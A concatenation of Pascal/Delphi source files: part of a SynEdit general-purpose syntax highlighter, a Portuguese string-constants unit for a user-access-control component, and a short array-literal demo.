s:=UpperCase(CommentList[i]);
if (Length(s)>0) then begin
if (s[1] in fIdentChars) then begin
fProcTable[s[1]]:=proc;
fProcTable[LowerCase(s[1])[1]]:=proc;
CommentList[i]:=s;
end else
fProcTable[s[1]]:=proc;
end;
end;
end;
begin
for I := #0 to #255 do begin
if (Pos(I,IdentifierBegChars)>0) then begin
fProcTable[I] := IdentProc;
end else begin
if (I in fNumBegChars) then begin
fProcTable[I] := NumberProc;
end else begin
case I of
'#': fProcTable[I] := AsciiCharProc;
#13: fProcTable[I] := CRProc;
#10: fProcTable[I] := LFProc;
#0: fProcTable[I] := NullProc;
// '0'..'9': fProcTable[I] := NumberProc;
#1..#9, #11, #12, #14..#32: fProcTable[I] := SpaceProc;
else fProcTable[I] := UnknownProc;
end;
end;
end;
end;
for n:=1 to Length(FStrBegChars) do
fProcTable[FStrBegChars[n]]:=StringBegProc;
CommentToProcTable(FLineCommentList, LineCommentProc);
CommentToProcTable(FCommentBegList, CommentBegProc);
FCommentEnd:=UpperCase(FCommentEnd);
end;
constructor TSynMyGeneralSyn.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FLineCommentList:=TStringList.Create;
FCommentBegList:=TStringList.Create;
FCommentEndList:=TStringList.Create;
fKeyWords1 := TStringList.Create;
TStringList(fKeyWords1).Sorted := True;
TStringList(fKeyWords1).Duplicates := dupIgnore;
fKeyWords2 := TStringList.Create;
TStringList(fKeyWords2).Sorted := True;
TStringList(fKeyWords2).Duplicates := dupIgnore;
fKeyWords3 := TStringList.Create;
TStringList(fKeyWords3).Sorted := True;
TStringList(fKeyWords3).Duplicates := dupIgnore;
fKeyWords4 := TStringList.Create;
TStringList(fKeyWords4).Sorted := True;
TStringList(fKeyWords4).Duplicates := dupIgnore;
fKeyWords5 := TStringList.Create;
TStringList(fKeyWords5).Sorted := True;
TStringList(fKeyWords5).Duplicates := dupIgnore;
fCommentAttri := TSynHighlighterAttributes.Create(SYNS_AttrComment);
fCommentAttri.Style := [fsItalic];
AddAttribute(fCommentAttri);
fIdentifierAttri := TSynHighlighterAttributes.Create(SYNS_AttrIdentifier);
AddAttribute(fIdentifierAttri);
fKeyAttri1 := TSynHighlighterAttributes.Create('Keywords 1');
fKeyAttri1.Style := [];
AddAttribute(fKeyAttri1);
fKeyAttri2 := TSynHighlighterAttributes.Create('Keywords 2');
fKeyAttri2.Style := [];
AddAttribute(fKeyAttri2);
fKeyAttri3 := TSynHighlighterAttributes.Create('Keywords 3');
fKeyAttri3.Style := [];
AddAttribute(fKeyAttri3);
fKeyAttri4 := TSynHighlighterAttributes.Create('Keywords 4');
fKeyAttri4.Style := [];
AddAttribute(fKeyAttri4);
fKeyAttri5 := TSynHighlighterAttributes.Create('Keywords 5');
fKeyAttri5.Style := [];
AddAttribute(fKeyAttri5);
fNumberAttri := TSynHighlighterAttributes.Create(SYNS_AttrNumber);
AddAttribute(fNumberAttri);
fSpaceAttri := TSynHighlighterAttributes.Create(SYNS_AttrSpace);
AddAttribute(fSpaceAttri);
fStringAttri := TSynHighlighterAttributes.Create(SYNS_AttrString);
AddAttribute(fStringAttri);
fSymbolAttri := TSynHighlighterAttributes.Create(SYNS_AttrSymbol);
AddAttribute(fSymbolAttri);
{begin} // DJLP 2000-06-18
fPreprocessorAttri := TSynHighlighterAttributes.Create(SYNS_AttrPreprocessor);
AddAttribute(fPreprocessorAttri);
{end} // DJLP 2000-06-18
SetAttributesOnChange(DefHighlightChange);
fIdentChars := inherited GetIdentChars;
NumConstChars:='0123456789';
NumBegChars:='0123456789';
MakeIdentTable;
fRange := rsUnknown;
end; { Create }
destructor TSynMyGeneralSyn.Destroy;
begin
fKeyWords1.Free;
fKeyWords2.Free;
fKeyWords3.Free;
fKeyWords4.Free;
fKeyWords5.Free;
FLineCommentList.Free;
FCommentBegList.Free;
FCommentEndList.Free;
inherited Destroy;
end; { Destroy }
procedure TSynMyGeneralSyn.SetLine(NewValue: String; LineNumber:Integer);
begin
fLine := PChar(NewValue);
Run := 0;
fLineNumber := LineNumber;
Next;
end; { SetLine }
procedure TSynMyGeneralSyn.CRProc;
begin
fTokenID := tkSpace;
Inc(Run);
if fLine[Run] = #10 then Inc(Run);
end;
procedure TSynMyGeneralSyn.AsciiCharProc;
begin
if fDetectPreprocessor then begin
fTokenID := tkPreprocessor;
repeat
inc(Run);
until fLine[Run] in [#0, #10, #13];
end else begin
fTokenID := tkSymbol;
inc(Run);
end;
end;
procedure TSynMyGeneralSyn.IdentProc;
begin
inc(Run);
while Identifiers[fLine[Run]] do inc(Run);
if IsKeyWord1(GetToken) then
fTokenId := tkKey1
else
if IsKeyWord2(GetToken) then
fTokenId := tkKey2
else
if IsKeyWord3(GetToken) then
fTokenId := tkKey3
else
if IsKeyWord4(GetToken) then
fTokenId := tkKey4
else
if IsKeyWord5(GetToken) then
fTokenId := tkKey5
else
fTokenId := tkIdentifier;
end;
function TSynMyGeneralSyn.MatchComment(CommentList: TStringList; var CommentStr: string):boolean;
var
i :integer;
len :integer;
ok :boolean;
j: integer;
begin
j:=0;
ok:=FALSE;
while (j<CommentList.Count) do begin
CommentStr:=UpperCase(CommentList[j]);
len:=Length(CommentStr);
ok:=(len>0);
if ok then begin
i:=1;
while ok and (i<=len) do begin
ok:=(UpCase(FLine[Run+i-1])=CommentStr[i]);
inc(i);
end;
ok:=ok and (i-1=len);
end;
if ok and (CommentStr[1] in fIdentChars) then
ok:=not (FLine[Run+Length(CommentStr)] in fIdentChars);
if ok then
BREAK;
inc(j);
end;
result:=ok;
end;
procedure TSynMyGeneralSyn.LineCommentProc;
var
CommentStr: string;
begin
if MatchComment(FLineCommentList, CommentStr) then begin
inc(Run, Length(CommentStr));
fTokenID:=tkComment;
while (FLine[Run]<>#0) do begin
case FLine[Run] of
#10, #13: BREAK;
end;
inc(Run);
end;
end else begin
//!!!!!!!!!!!!!!!!!!!!!
if (Length(CommentStr)>0) and (CommentStr[1] in fIdentChars) then
IdentProc
else begin
inc(Run);
fTokenID := tkSymbol;
end;
end;
end;
procedure TSynMyGeneralSyn.CommentBegProc;
var
CommentStr: string;
begin
if MatchComment(FLineCommentList, CommentStr) then
LineCommentProc
else begin
if MatchComment(FCommentBegList, CommentStr) then begin
fTokenID:=tkComment;
fRange:=rsBlockComment;
inc(Run,Length(CommentStr));
while (FLine[Run]<>#0) do begin
if MatchComment(FCommentEndList, CommentStr) then begin
fRange:=rsUnKnown;
inc(Run,Length(CommentStr));
BREAK;
end else begin
case FLine[Run] of
#10,#13: BREAK;
else
inc(Run);
end;
end;
end;
end else begin
//!!!!!!!!!!!!!!!!!!!!!
if (Length(CommentStr)>0) and (CommentStr[1] in fIdentChars) then
IdentProc
else begin
inc(Run);
fTokenID := tkSymbol;
end;
end;
end;
end;
procedure TSynMyGeneralSyn.CommentEndProc;
var
CommentStr: string;
begin
fTokenID:=tkComment;
case FLine[Run] of
#0:
begin
NullProc;
exit;
end;
#10:
begin
LFProc;
exit;
end;
#13:
begin
CRProc;
exit;
end;
end;
while (FLine[Run]<>#0) do begin
if MatchComment(FCommentEndList, CommentStr) then begin
fRange:=rsUnKnown;
inc(Run, Length(CommentStr));
BREAK;
end else begin
case FLine[Run] of
#10,#13: BREAK;
else
inc(Run);
end;
end;
end;
end;
procedure TSynMyGeneralSyn.StringBegProc;
var
i :integer;
begin
fTokenID:=tkString;
i:=Pos(FLine[Run],FStrBegChars);
if (i>0) and (i<=Length(FStrEndChars)) then
FNextStringEndChar:=FStrEndChars[i]
else
FNextStringEndChar:=#00;
repeat
if (EscapeChar<>#0) and (FLine[Run]=EscapeChar) and (FLine[Run+1]<>#0) then begin
inc(Run);
end else begin
case FLine[Run] of
#0, #10, #13:
begin
if FMultilineStrings then
fRange:=rsMultilineString;
BREAK;
end;
end;
end;
inc(Run);
until (FLine[Run]=FNextStringEndChar);
if FLine[Run] <> #0 then inc(Run);
end;
procedure TSynMyGeneralSyn.StringEndProc;
begin
fTokenID:=tkString;
case FLine[Run] of
#0:
begin
NullProc;
EXIT;
end;
#10:
begin
LFProc;
EXIT;
end;
#13:
begin
CRProc;
EXIT;
end;
end;
repeat
if (EscapeChar<>#0) and (FLine[Run]=EscapeChar) and (FLine[Run+1]<>#0) then begin
inc(Run);
end else begin
case FLine[Run] of
#0, #10, #13: BREAK;
end;
end;
inc(Run);
until (FLine[Run]=FNextStringEndChar);
if (FLine[Run]=FNextStringEndChar) and (FNextStringEndChar<>#00) then
fRange:=rsUnKnown;
if FLine[Run] <> #0 then inc(Run);
end;
procedure TSynMyGeneralSyn.LFProc;
begin
fTokenID := tkSpace;
inc(Run);
end;
procedure TSynMyGeneralSyn.NullProc;
begin
fTokenID := tkNull;
end;
{begin} // DJLP 2000-06-18
procedure TSynMyGeneralSyn.NumberProc;
begin
inc(Run);
fTokenID := tkNumber;
// while FLine[Run] in ['0'..'9', '.', 'e', 'E', 'x'] do
while FLine[Run] in fNumConstChars do
begin
case FLine[Run] of
'.':
if FLine[Run + 1] = '.' then break;
end;
inc(Run);
end;
end;
{end} // DJLP 2000-06-18
procedure TSynMyGeneralSyn.SpaceProc;
begin
inc(Run);
fTokenID := tkSpace;
while FLine[Run] in [#1..#9, #11, #12, #14..#32] do inc(Run);
end;
procedure TSynMyGeneralSyn.UnknownProc;
begin
inc(Run);
fTokenID := tkUnKnown;
end;
procedure TSynMyGeneralSyn.Next;
begin
fTokenPos := Run;
Case fRange of
rsBlockComment: CommentEndProc;
rsMultilineString: StringEndProc;
else
fProcTable[fLine[Run]];
end;
end;
function TSynMyGeneralSyn.GetDefaultAttribute(Index: integer): TSynHighlighterAttributes;
begin
case Index of
SYN_ATTR_COMMENT: Result := fCommentAttri;
SYN_ATTR_IDENTIFIER: Result := fIdentifierAttri;
SYN_ATTR_KEYWORD: Result := fKeyAttri1;
SYN_ATTR_STRING: Result := fStringAttri;
SYN_ATTR_WHITESPACE: Result := fSpaceAttri;
else Result := nil;
end;
end;
function TSynMyGeneralSyn.GetEol: Boolean;
begin
Result := fTokenId = tkNull;
end;
function TSynMyGeneralSyn.GetRange: Pointer;
begin
Result := Pointer(fRange);
end;
function TSynMyGeneralSyn.GetToken: String;
var
Len: LongInt;
begin
Len := Run - fTokenPos;
SetString(Result, (FLine + fTokenPos), Len);
end;
function TSynMyGeneralSyn.GetTokenID: TtkTokenKind;
begin
Result := fTokenId;
end;
function TSynMyGeneralSyn.GetTokenAttribute: TSynHighlighterAttributes;
begin
case fTokenID of
tkComment: Result := fCommentAttri;
tkIdentifier: Result := fIdentifierAttri;
tkKey1: Result := fKeyAttri1;
tkKey2: Result := fKeyAttri2;
tkKey3: Result := fKeyAttri3;
tkKey4: Result := fKeyAttri4;
tkKey5: Result := fKeyAttri5;
tkNumber: Result := fNumberAttri;
tkPreprocessor: Result := fPreprocessorAttri; // DJLP 2000-06-18
tkSpace: Result := fSpaceAttri;
tkString: Result := fStringAttri;
tkSymbol: Result := fSymbolAttri;
tkUnknown: Result := fSymbolAttri;
else Result := nil;
end;
end;
function TSynMyGeneralSyn.GetTokenKind: integer;
begin
Result := Ord(fTokenId);
end;
function TSynMyGeneralSyn.GetTokenPos: Integer;
begin
Result := fTokenPos;
end;
procedure TSynMyGeneralSyn.ReSetRange;
begin
fRange := rsUnknown;
end;
procedure TSynMyGeneralSyn.SetRange(Value: Pointer);
begin
fRange := TRangeState(Value);
end;
procedure TSynMyGeneralSyn.PrepareKeywordList(const Value: TStrings);
var
i: Integer;
begin
if Value <> nil then begin
Value.BeginUpdate;
for i := 0 to Value.Count - 1 do begin
if not CaseSensitive then
Value[i] := UpperCase(Value[i]);
end;
Value.EndUpdate;
end;
end;
procedure TSynMyGeneralSyn.SetKeyWords1(const Value: TStrings);
begin
PrepareKeywordList(Value);
fKeyWords1.Assign(Value);
DefHighLightChange(nil);
end;
procedure TSynMyGeneralSyn.SetKeyWords2(const Value: TStrings);
begin
PrepareKeywordList(Value);
fKeyWords2.Assign(Value);
DefHighLightChange(nil);
end;
procedure TSynMyGeneralSyn.SetKeyWords3(const Value: TStrings);
begin
PrepareKeywordList(Value);
fKeyWords3.Assign(Value);
DefHighLightChange(nil);
end;
procedure TSynMyGeneralSyn.SetKeyWords4(const Value: TStrings);
begin
PrepareKeywordList(Value);
fKeyWords4.Assign(Value);
DefHighLightChange(nil);
end;
procedure TSynMyGeneralSyn.SetKeyWords5(const Value: TStrings);
begin
PrepareKeywordList(Value);
fKeyWords5.Assign(Value);
DefHighLightChange(nil);
end;
{$IFNDEF SYN_CPPB_1} class {$ENDIF} //mh 2000-07-14
function TSynMyGeneralSyn.GetLanguageName: string;
begin
result:='';
// SELF.GetStringDelim;
// Result := LanguageName;
end;
function TSynMyGeneralSyn.LoadFromRegistry(RootKey: HKEY; Key: string): boolean;
begin
result:=TRUE;
end;
function TSynMyGeneralSyn.SaveToRegistry(RootKey: HKEY; Key: string): boolean;
begin
result:=TRUE;
end;
procedure TSynMyGeneralSyn.SetCommentStrings(LineComment, CommentBeg, CommentEnd: string);
begin
FLineComment:=LineComment;
FCommentBeg:=CommentBeg;
FCommentEnd:=CommentEnd;
StrToStrings(LineComment, COMMENT_LIST_SEPARATOR, FLineCommentList);
StrToStrings(CommentBeg, COMMENT_LIST_SEPARATOR, FCommentBegList);
StrToStrings(CommentEnd, COMMENT_LIST_SEPARATOR, FCommentEndList);
end;
procedure TSynMyGeneralSyn.GetCommentStrings(var LineComment, CommentBeg, CommentEnd:string);
begin
LineComment:=StringsToStr(FLineCommentList, COMMENT_LIST_SEPARATOR);
CommentBeg:=StringsToStr(FCommentBegList, COMMENT_LIST_SEPARATOR);
CommentEnd:=StringsToStr(FCommentEndList, COMMENT_LIST_SEPARATOR);
end;
procedure TSynMyGeneralSyn.SetStringParams(StrBegChars, StrEndChars:string; MultilineStrings:boolean);
var
i :integer;
begin
FStrBegChars:=StrBegChars;
FStrEndChars:=StrEndChars;
FMultilineStrings:=MultilineStrings;
for i:=1 to Length(FStrBegChars) do
fProcTable[FStrBegChars[i]]:=StringBegProc;
end;
function TSynMyGeneralSyn.GetIdentifierChars: string;
var
ch: char;
s: shortstring;
begin
s := '';
for ch := #0 to #255 do
if ch in fIdentChars then s := s + ch;
Result := s;
end;
function TSynMyGeneralSyn.GetNumConstChars: string;
var
ch: char;
s: shortstring;
begin
s := '';
for ch := #0 to #255 do
if ch in fNumConstChars then s := s + ch;
Result := s;
end;
function TSynMyGeneralSyn.GetNumBegChars: string;
var
ch: char;
s: shortstring;
begin
s := '';
for ch := #0 to #255 do
if ch in fNumBegChars then s := s + ch;
Result := s;
end;
procedure TSynMyGeneralSyn.SetIdentifierChars(const Value: string);
var
i: integer;
begin
fIdentChars := [];
for i := 1 to Length(Value) do begin
fIdentChars := fIdentChars + [Value[i]];
end; //for
MakeIdentTable;
end;
procedure TSynMyGeneralSyn.SetNumConstChars(const Value: string);
var
i: integer;
begin
fNumConstChars := [];
for i := 1 to Length(Value) do begin
fNumConstChars := fNumConstChars + [Value[i]];
end; //for
end;
procedure TSynMyGeneralSyn.SetNumBegChars(const Value: string);
var
i: integer;
begin
fNumBegChars := [];
for i := 1 to Length(Value) do begin
fNumBegChars := fNumBegChars + [Value[i]];
end; //for
end;
procedure TSynMyGeneralSyn.SetLanguageName(Value:string);
begin
FLanguageName:=Value;
end;
function TSynMyGeneralSyn.GetIdentChars: TSynIdentChars;
begin
Result := fIdentChars;
end;
{begin} // DJLP 2000-06-18
procedure TSynMyGeneralSyn.SetDetectPreprocessor(Value: boolean);
begin
if Value <> fDetectPreprocessor then begin
fDetectPreprocessor := Value;
DefHighlightChange(Self);
end;
end;
{end} // DJLP 2000-06-18
initialization
{$IFNDEF SYN_CPPB_1} //mh 2000-07-14
RegisterPlaceableHighlighter(TSynMyGeneralSyn);
{$ENDIF}
end.
|
unit UCConsts;
interface
const
// new consts version 2 a 5 =========================================
// Form Select Controls (design-time)
Const_Contr_TitleLabel = 'Seleção de Componentes do Form. :';
Const_Contr_GroupLabel = 'Grupo :';
Const_Contr_CompDispLabel = 'Componentes Disponíveis :';
Const_Contr_CompSelLabel = 'Componentes Selecionados :';
Const_Contr_BtOK = '&OK';
Const_Contr_BTCancel = '&Cancelar';
Const_Contr_DescCol = 'Descrição';
Const_Contr_BtSellAllHint = 'Selecionar Todos';
Const_Contr_BtSelHint = 'Selecionar';
Const_Contr_BtUnSelHint = 'Desmarcar';
Const_Contr_BtUnSelAllHint = 'Desmarcar Todos';
//===================================================================
// group property Settins.AppMsgsForm
Const_Msgs_BtNew = '&Nova Mensagem';
Const_Msgs_BtReplay = '&Responder';
Const_Msgs_BtForward = 'E&ncaminhar';
Const_Msgs_BtDelete = '&Excluir';
Const_Msgs_BtClose = '&Fechar';
Const_Msgs_WindowCaption = 'Mensagens do Sistema';
Const_Msgs_ColFrom = 'Remetente';
Const_Msgs_ColSubject = 'Assunto';
Const_Msgs_ColDate = 'Data';
Const_Msgs_PromptDelete = 'Confirma excluir as mensagens selecionadas ?';
Const_Msgs_PromptDelete_WindowCaption = 'Apagar mensagens';
Const_Msgs_NoMessagesSelected = 'Não existem mensagens selecionadas';
Const_Msgs_NoMessagesSelected_WindowCaption = 'Informação';
// group property Settins.AppMsgsRec
Const_MsgRec_BtClose = '&Fechar';
Const_MsgRec_WindowCaption = 'Mensagem';
Const_MsgRec_Title = 'Mensagem Recebida';
Const_MsgRec_LabelFrom = 'De :';
Const_MsgRec_LabelDate = 'Data';
Const_MsgRec_LabelSubject = 'Assunto';
Const_MsgRec_LabelMessage = 'Mensagem';
// group property Settins.AppMsgsSend
Const_MsgSend_BtSend = '&Enviar';
Const_MsgSend_BtCancel = '&Cancelar';
Const_MsgSend_WindowCaption = 'Mensagem';
Const_MsgSend_Title = 'Enviar Nova Mensagem';
Const_MsgSend_GroupTo = 'Para';
Const_MsgSend_RadioUser = 'Usuário :';
Const_MsgSend_RadioAll = 'Todos';
Const_MsgSend_GroupMessage = 'Mensagem';
Const_MsgSend_LabelSubject = 'Assunto';
Const_MsgSend_LabelMessageText = 'Texto da mensagem';
// Run errors
MsgExceptConnection = 'Não informado o Connection, Transaction ou Database do componente %s';
MsgExceptTransaction = 'Não informado o Transaction do componente %s';
MsgExceptDatabase = 'Não informado o Database do componente %s';
MsgExceptPropriedade = 'Favor informar a propriedade %s';
MsgExceptUserMngMenu = 'Informe na propriedade UsersForm.MenuItem ou UsersForm.Action o Item responsável pelo controle de usuários';
MsgExceptUserProfile = 'Informe na propriedade UsersProfile.MenuItem ou UsersProfile.Action o Item responsável pelo controle de Perfil de usuários';
MsgExceptChagePassMenu = 'Informe na propriedade ChangePasswordForm.MenuItem or .Action o Item que permite ao usuário alterar sua senha';
MsgExceptAppID = 'Na propriedade ApplicationID informe um nome para identificar a aplicação na tabela de permissões';
MsgExceptUsersTable = 'Na propriedade TableUsers informe o nome da tabela que será criada para armazenar os dados dos usuários';
MsgExceptRightsTable = 'Na propriedade TableRights informe o nome da tabela que será criada para armazenar as permissões dos usuários';
MsgExceptConnector = 'Propriedade DataConnector não definida!';
// group property Settings.Mensagens
Const_Men_AutoLogonError = 'Falha de Auto Logon!' + #13 + #10 + 'Informe um usuário e senha válidos.';
Const_Men_SenhaDesabitada = 'Retirada senha do Login %s';
Const_Men_SenhaAlterada = 'Senha alterada com sucesso!';
Const_Men_MsgInicial = 'ATENÇÃO Login Inicial:' + #13 + #10 + #13 + #10 + 'Usuário : :user' + #13 + #10 + 'Senha : :password' + #13 + #10 + #13 + #10 + 'Defina as permissões para este usuário.';
Const_Men_MaxTentativas = '%d Tentativas de login inválido. Por motivos de segunça o ' + #13 + #10 + 'sistema será fechado.';
Const_Men_LoginInvalido = 'Usuário ou Senha inválidos!';
Const_Men_UsuarioExiste = 'O Usuário "%s" já está cadastrado no sistema !!'; // Luiz Benevenuto 20/04/06
Const_Men_PasswordExpired = 'Atenção, sua senha expirou, favor troca-la'; { By vicente barros leonel }
//group property Settings.Login
Const_Log_BtCancelar = '&Cancelar';
Const_Log_BtOK = '&OK';
Const_Log_LabelSenha = 'Senha :';
Const_Log_LabelUsuario = 'Usuário :';
Const_Log_WindowCaption = 'Login';
Const_Log_LbEsqueciSenha = 'Esqueci a senha'; //new
Const_Log_MsgMailSend = 'A senha foi enviada para o seu email.'; //new
Const_Log_LabelTentativa = 'Tentativa : ';
Const_Log_LabelTentativas = 'Máximo de Tentativas : ';
//group property Settings.Log //new
Const_LogC_WindowCaption = 'Segurança';
Const_LogC_LabelDescricao = 'Log do Sistema';
Const_LogC_LabelUsuario = 'Usuário :';
Const_LogC_LabelData = 'Data :';
Const_LogC_LabelNivel = 'Nível mínimo :';
Const_LogC_ColunaAppID = 'AppID';
Const_LogC_ColunaNivel = 'Nível';
Const_LogC_ColunaMensagem = 'Mensagem';
Const_LogC_ColunaUsuario = 'Usuário';
Const_LogC_ColunaData = 'Data';
Const_LogC_BtFiltro = '&Aplicar Filtro';
Const_LogC_BtExcluir = '&Excluir Log';
Const_LogC_BtFechar = '&Fechar';
Const_LogC_ConfirmaExcluir = 'Confirma excluir todos os registros de log selecionados ?';
Const_LogC_ConfirmaDelete_WindowCaption = 'Confirma exclusão'; //added by fduenas
Const_LogC_Todos = 'Todos'; //BGM
Const_LogC_Low = 'Baixo'; //BGM
Const_LogC_Normal = 'Normal'; //BGM
Const_LogC_High = 'Alto'; //BGM
Const_LogC_Critic = 'Crítico'; //BGM
Const_LogC_ExcluirEfectuada = 'Exclusão de log´s do sistema : Usuário = "%s" | Data = %s a %s | Nível <= %s'; //added by fduenas
//group property Settings.CadastroUsuarios
Const_Cad_WindowCaption = 'Segurança';
Const_Cad_LabelDescricao = 'Cadastro de Usuários';
Const_Cad_ColunaNome = 'Nome';
Const_Cad_ColunaLogin = 'Login';
Const_Cad_ColunaEmail = 'Email';
Const_Cad_BtAdicionar = '&Adicionar';
Const_Cad_BtAlterar = 'A<erar';
Const_Cad_BtExcluir = '&Excluir';
Const_Cad_BtPermissoes = 'A&cessos';
Const_Cad_BtSenha = '&Senha';
Const_Cad_BtFechar = '&Fechar';
Const_Cad_ConfirmaExcluir = 'Confirma excluir o usuário "%s" ?';
Const_Cad_ConfirmaDelete_WindowCaption = 'Excluir usuário'; //added by fduenas
//group property Settings.PerfilUsuarios
Const_Prof_WindowCaption = 'Segurança';
Const_Prof_LabelDescricao = 'Perfil de Usuários';
Const_Prof_ColunaNome = 'Perfil';
Const_Prof_BtAdicionar = '&Adicionar';
Const_Prof_BtAlterar = 'A<erar';
Const_Prof_BtExcluir = '&Excluir';
Const_Prof_BtPermissoes = 'A&cessos';
Const_Prof_BtSenha = '&Senha';
Const_Prof_BtFechar = '&Fechar';
Const_Prof_ConfirmaExcluir = 'Existem usuários com o perfil "%s". Confirma excluir?';
Const_Prof_ConfirmaDelete_WindowCaption = 'Delete profile'; //added by fduenas
//group property Settings.IncAltUsuario
Const_Inc_WindowCaption = 'Cadastro de Usuários';
Const_Inc_LabelAdicionar = 'Adicionar Usuário';
Const_Inc_LabelAlterar = 'Alterar Usuário';
Const_Inc_LabelNome = 'Nome :';
Const_Inc_LabelLogin = 'Login :';
Const_Inc_LabelEmail = 'Email :';
Const_Inc_LabelPerfil = 'Perfil :';
Const_Inc_CheckPrivilegiado = 'Usuário privilegiado';
Const_Inc_BtGravar = '&Gravar';
Const_Inc_BtCancelar = 'Cancelar';
Const_Inc_CheckEspira = 'Senha do usuário não expira';
Const_Inc_Dia = 'Dias';
Const_Inc_ExpiraEm = 'Expira em';
//group property Settings.IncAltPerfil
Const_PInc_WindowCaption = 'Perfil de Usuários';
Const_PInc_LabelAdicionar = 'Adicionar Perfil';
Const_PInc_LabelAlterar = 'Alterar Perfil';
Const_PInc_LabelNome = 'Descrição :';
Const_PInc_BtGravar = '&Gravar';
Const_PInc_BtCancelar = 'Cancelar';
//group property Settings.Permissao
Const_Perm_WindowCaption = 'Segurança';
Const_Perm_LabelUsuario = 'Permissões do Usuário :';
Const_Perm_LabelPerfil = 'Permissões do Perfil :';
Const_Perm_PageMenu = 'Itens do Menu';
Const_Perm_PageActions = 'Ações';
Const_Perm_PageControls = 'Controles'; // by vicente barros leonel
Const_Perm_BtLibera = '&Liberar';
Const_Perm_BtBloqueia = '&Bloquear';
Const_Perm_BtGravar = '&Gravar';
Const_Perm_BtCancelar = '&Cancelar';
//group property Settings.TrocaSenha do begin
Const_Troc_WindowCaption = 'Segurança';
Const_Troc_LabelDescricao = 'Trocar Senha';
Const_Troc_LabelSenhaAtual = 'Senha Atual :';
Const_Troc_LabelNovaSenha = 'Nova Senha :';
Const_Troc_LabelConfirma = 'Confirmação :';
Const_Troc_BtGravar = '&Gravar';
Const_Troc_BtCancelar = 'Cancelar';
//group property Settings.Mensagens.ErroTrocaSenha
Const_ErrPass_SenhaAtualInvalida = 'Senha Atual não confere!';
Const_ErrPass_ErroNovaSenha = 'Os campos: Nova Senha e Confirmação devem ser iguais.';
Const_ErrPass_NovaIgualAtual = 'Nova senha igual a senha atual';
Const_ErrPass_SenhaObrigatoria = 'A Senha é obrigatória';
Const_ErrPass_SenhaMinima = 'A senha deve conter no mínimo %d caracteres';
Const_ErrPass_SenhaInvalida = 'Proibido utilizar senhas obvias!';
Const_ErrPass_ForcaTrocaSenha = 'Mudança de senha obrigatória';
//group property Settings.DefineSenha
Const_DefPass_WindowCaption = 'Definir senha do usuário : "%s"';
Const_DefPass_LabelSenha = 'Senha :';
//Group das tabelas do UC
Const_TableUsers_FieldUserID = 'UCIdUser';
Const_TableUsers_FieldUserName = 'UCUserName';
Const_TableUsers_FieldLogin = 'UCLogin';
Const_TableUsers_FieldPassword = 'UCPassword';
Const_TableUsers_FieldEmail = 'UCEmail';
Const_TableUsers_FieldPrivileged = 'UCPrivileged';
Const_TableUsers_FieldTypeRec = 'UCTypeRec';
Const_TableUsers_FieldProfile = 'UCProfile';
Const_TableUsers_FieldKey = 'UCKey';
Const_TableUsers_TableName = 'UCTabUsers';
Const_TableUsers_FieldDateExpired = 'UCPASSEXPIRED'; { By Vicente Barros Leonel }
Const_TableUser_FieldUserExpired = 'UCUserExpired'; { By Vicente Barros Leonel }
Const_TableUser_FieldUserDaysSun = 'UCUserDaysSun'; { By Vicente Barros Leonel }
Const_TableRights_FieldUserID = 'UCIdUser';
Const_TableRights_FieldModule = 'UCModule';
Const_TableRights_FieldComponentName = 'UCCompName';
Const_TableRights_FieldFormName = 'UCFormName';
Const_TableRights_FieldKey = 'UCKey';
Const_TableRights_TableName = 'UCTabRights';
Const_TableUsersLogged_FieldLogonID = 'UCIdLogon';
Const_TableUsersLogged_FieldUserID = 'UCIdUser';
Const_TableUsersLogged_FieldApplicationID = 'UCApplicationId';
Const_TableUsersLogged_FieldMachineName = 'UCMachineName';
Const_TableUsersLogged_FieldData = 'UCData';
Const_TableUsersLogged_TableName = 'UCTabUsersLogged';
implementation
end.
|
Program ArrayLitrDemo;
Var
// Khởi tạo một mảng tĩnh
Numbers : array [ 1..3 ] Of Integer = ( 1, 23, 456 );
Procedure PrintArray( input : Array Of String );
Var
i : integer;
Begin
For i := 0 To ( length(input) - 1 ) Do
write( input[i],' ' );
writeln;
End;
Begin
writeln( Numbers[2] );
// Tạo một mảng vô danh
PrintArray( ['one', 'two', 'three'] );
End.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.